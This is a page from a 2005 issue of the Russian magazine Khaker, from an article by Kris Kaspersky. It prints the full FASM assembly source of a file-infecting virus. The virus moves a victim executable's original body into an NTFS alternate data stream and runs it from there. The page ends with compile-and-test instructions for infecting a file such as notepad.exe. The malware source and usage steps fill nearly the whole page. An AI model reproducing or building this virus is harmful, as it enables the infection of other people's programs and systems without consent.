Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #77, МАЙ 2005 г.

EXE в заложниках

Крис Касперски ака мыщъх

Хакер, номер #077, стр. 077-116-3


section '.code' code readable executable

start:

; удаляем временный файл

push godown

call [DeleteFile]

; определяем наше имя

push 1000

push buf

push 0

call [GetModuleFileName]

; считываем командную строку

; ключ --* filename - заразить

call [GetCommandLine]

mov ebp,eax

xor ebx,ebx

mov ecx, 202A2D2Dh ;

rool:

cmp [eax], ecx ; это '--*'?

jz infect

inc eax

cmp [eax], ebx ; конец командной строки?

jnz rool

; выводим диагностическое сообщение,

; подтверждая свое присутствие в файле

push 0

push aInfected

push aHello

push 0

call [MessageBox]

; добавляем к своему имени имя NTFS-потока

mov esi, code_name

mov edi, buf

mov ecx, 100; code_name_end - code_name

xor eax,eax

repne scasb

dec edi

rep movsb

; запускам NTFS-поток на выполнение

push xxx

push xxx

push eax

push eax

push eax

push eax

push eax

push eax

push ebp

push buf

call [CreateProcess]

jmp go2exit ; выходим из вируса

infect:

; устанавливаем eax на первый символ имени файла-жертвы

; (далее по тексту dst)

add eax, 4

xchg eax, ebp

xor eax,eax

inc eax

; тут не помешает вставить проверку dst на заражение

; переименовываем dst в godown

push godown

push ebp

call [RenameFile]

; копируем в godown основной поток dst

push eax

push ebp

push buf

call [CopyFile]

; добавляем к своему имени имя NTFS-потока

mov esi, ebp

mov edi, buf

copy_rool:

lodsb

stosb

test al,al

jnz copy_rool

mov esi, code_name

dec edi

copy_rool2:

lodsb

stosb

test al,al

jnz copy_rool2

; копируем godown в dst:eatout

push eax

push buf

push godown

call [CopyFile]

; тут не помешает добавить коррекцию длины заражаемого файла,

; удаляем godown

push godown

call [DeleteFile]

; выводим диагностическое сообщение,

; подтверждающие успешность заражения файла

push 0

push aInfected

push ebp

push 0

call [MessageBox]

; выход из вируса

go2exit:

push 0

call [ExitProcess]

section '.data' data readable writeable

godown db "godown",0 ; имя временного файла

code_name db ":eatmeout",0 ; имя потока, в котором будет…

code_name_end: ; …сохранено основное тело

; различные текстовые строки, выводимые вирусом

aInfected db "Файл успешно заражен",0

aHello db "Ты запустил зараженный файл! Ха-ха.", 0

; различные буфера для служебных целей

buf rb 1000

xxx rb 1000

Полная версия сорцов лежит на диске в файле xcode.asm.

[компиляция и испытания вируса]

Для компиляции вирусного кода нам понадобится транслятор FASM, последнюю Windows-версию которого можно найти на сайте http://flatassembler.net/. Остальные трансляторы (MASM, TASM) тут непригодны, поскольку используют совсем другой ассемблерный синтаксис.

Берем компилятор (с CD\DVD или с сайта), распаковываем архив и набираем "fasm.exe xcode.asm" в командной строке. Если все сделано правильно, на диске должен образоваться файл xcode.exe. Запустим его на выполнение с ключом "--*" и именем предполагаемой жертвы. К примеру, если мы заражаем notepad.exe, должно выйти: "xcode.exe --* notepad.exe". Об успешном заражении будет свидетельствовать соответствующее сообщение. Если сообщения нет, это значит, что у нас ничего не получилось. Обычно это происходит из-за того, что у нас нет прав доступа к файлу, а захватывать их самостоятельно наш вирус не собирается. Во всяком случае, пока.

Назад на стр. 077-116-2  Содержание  Вперед на стр. 077-116-4